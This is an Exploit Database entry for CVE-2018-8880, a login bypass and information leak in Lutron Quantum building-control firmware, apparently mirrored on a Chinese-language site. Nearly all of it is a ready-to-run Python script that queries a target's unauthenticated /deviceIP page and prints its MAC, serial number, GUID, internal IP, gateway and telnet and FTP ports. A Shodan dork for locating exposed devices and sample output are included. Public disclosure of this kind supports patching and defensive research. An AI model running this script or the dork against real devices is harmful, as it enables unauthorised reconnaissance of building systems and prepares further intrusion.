Lutron Quantum 2.0 – 3.2.243 – Information Disclosure

• Exploit Database
• 15 阅读

• 作者： SadFud
  日期： 2018-04-18
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/44488/

• '''
  
  # Exploit Title: Login bypass and data leak - Lutron Quantum 2.0 - 3.2.243 firmware
  # Date: 20-03-2018
  # Exploit Author: David Castro
  # Contact: https://twitter.com/SadFud75
  # Vendor Homepage: http://www.lutron.com
  # Software Link: http://www.lutron.com/en-US/Products/Pages/WholeBuildingSystems/Quantum/Overview.aspx
  # Version: Lutron Quantum 2.0 - 3.2.243 firmware
  # CVE : CVE-2018-8880
  # Shodan dork: html:"<h1>LUTRON</h1>"
  
  Python 2.7 Output:
  
  Leaking data from HOST
  [+] Device info:
  
  MAC: 000FE702A999
  PRODUCT FAMILY: Gulliver
  PRODUCT TYPE: Processor
  SERIAL NUMBER: 007B24B4
  GUID: 0DFB959BD0D8784DA9501B958F099779
  CODE VERSION: 7.5.0
  
  [+] Network info:
  
  INTERNAL IP: 192.168.0.2
  SUBNET MASK: 255.255.255.0
  GATEWAY: 192.168.0.1
  TELNET PORT: 23
  FTP PORT: 21
  REMOTE PORT: 51023
  
  [+] Done.
  
  '''
  
  
  import requests
  from bs4 import BeautifulSoup
  
  ip = raw_input("Enter target ip: ")
  port = raw_input("Enter target port: ")
  
  print 'Leaking data from ' + 'http://' + ip + ":" + port
  r = requests.get('http://' + ip + ":" + port + '/deviceIP')
  resultado = r.text
  parseado = BeautifulSoup(resultado, "lxml")
  
  print '[+] Device info:'
  print ''
  print 'MAC: ' + parseado.find('input', {'name': 'MacAddr'}).get('value')
  print 'PRODUCT FAMILY: ' + parseado.find('input', {'name': 'PRODFAM'}).get('value')
  print 'PRODUCT TYPE: ' + parseado.find('input', {'name': 'PRODTYPE'}).get('value')
  print 'SERIAL NUMBER: ' + parseado.find('input', {'name': 'SERNUM'}).get('value')
  print 'GUID: ' + parseado.find('input', {'name': 'GUID'}).get('value')
  print 'CODE VERSION: ' + parseado.find('input', {'name': 'CODEVER'}).get('value')
  print ''
  print '[+] Network info:'
  print ''
  print 'INTERNAL IP: ' + parseado.find('input', {'name': 'IPADDR'}).get('value')
  print 'SUBNET MASK: ' + parseado.find('input', {'name': 'SUBNETMK'}).get('value')
  print 'GATEWAY: ' + parseado.find('input', {'name': 'GATEADDR'}).get('value')
  print 'TELNET PORT: ' + parseado.find('input', {'name': 'TELPORT'}).get('value')
  print 'FTP PORT: ' + parseado.find('input', {'name': 'FTPPORT'}).get('value')
  print 'REMOTE PORT: ' + parseado.find('input', {'name': 'REMOTEPORT'}).get('value')
  print ''
  print '[+] Done.'
  print ''